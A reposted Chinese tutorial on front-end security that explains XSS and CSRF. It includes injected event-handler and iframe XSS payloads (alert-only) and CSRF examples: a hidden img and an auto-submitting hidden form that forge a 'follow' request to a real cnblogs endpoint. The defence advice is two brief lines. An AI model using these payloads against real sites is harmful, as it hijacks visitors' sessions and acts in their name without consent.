前端安全知识必备--XSS攻击和CSRF攻击

Posted 猿来如此

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了前端安全知识必备--XSS攻击和CSRF攻击相关的知识,希望对你有一定的参考价值。

XSS攻击--跨站脚本攻击

场景:比如在正常发表文章,或评论他人文章时,注入恶意脚本。待他人查看时触发恶意脚本达到攻击目的

1. 通过注入的标签事件触发
<body onload="alert(\'xss\')"></body>
<p onclick="alert(\'1\')" style="postion:fixed;width:100%;heith:100%">&nbsp;</p>
<input onfocus="alert(\'1\')" autofocus/>
2. 通过注入的带有src属性的标签触发
<iframe src="http://www.xss.com/xss.html"></iframe>
 <iframe src="data:text/html,<script>alert(\'1\')</script>"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>

防御:利用正则检查输入内容进行过滤

 

CSRF攻击--跨站请求伪造攻击

场景:CSRF攻击者在用户已经登录A网站之后,诱使用户访问一个B页面,利用A网站对用户的信任,以用户身份在B页面对目标网站发起伪造用户操作的请求,达到攻击目的。

1. 利用img可跨域伪造一个get请求:B页面嵌入标签,因为用户在A网站已登录,所以可伪造用户调用一个在A网站登录后才能进行的一个任意操作
<img style="width:0;" src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=4e8c33d0-77fe-df11-ac81-842b2b196315" />
2. 利用form可跨域伪造一个post请求:不嵌iframe页面会重定向,这样就降低了攻击的隐蔽性
<iframe style="display:none;" src="test2.html"></iframe>

test2.html

<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF GET</title>
<body>
     <form  name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
          <input type="hidden" name="blogUserGuid" value="4e8c33d0-77fe-df11-ac81-842b2b196315"/>
          <input type="submit" value>
     </form>
     <script>
          document.forms.form1.submit();
     </script>
</body>
</html>

防御:使用token

参考:

https://www.cnblogs.com/black-humor/p/7810920.html

https://www.cnblogs.com/lovesong/p/5233195.html

以上是关于前端安全知识必备--XSS攻击和CSRF攻击的主要内容,如果未能解决你的问题,请参考以下文章

XSS 和 CSRF 两种跨站攻击

了解一下前端安全知识:XSS和CSRF

前端安全之XSS和csrf攻击

前端安全-XSS和CSRF

安全测试基础知识

浅谈Web前端安全策略xss和csrf,及又该如何预防?